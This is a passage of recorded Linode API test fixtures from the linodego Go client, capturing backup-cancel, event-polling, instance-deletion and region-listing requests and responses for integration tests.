https://api.linode.com/v4beta/linode/instances/61876053/backups/cancel method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2024-07-25T18:49:21"},"entity.id":61876053,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788271850, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 15.93724, "action": "backups_restore", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "started", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "460" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"backups_restore","created":{"+gte":"2024-07-25T18:49:21"},"entity.id":61876053,"entity.type":"linode","id":{"+gte":788271850}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 788271850, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, "duration": 24.0, "action": "backups_restore", "username": "ychen123", "entity": {"label": "go-test-ins-wo-disk-14x573eovrw1", "id": 61876053, "type": "linode", "url": "/v4/linode/instances/61876053"}, "status": "finished", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876053 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:49:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstanceFirewalls_List.yaml000066400000000000000000001075001474652371000327230ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:46:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: 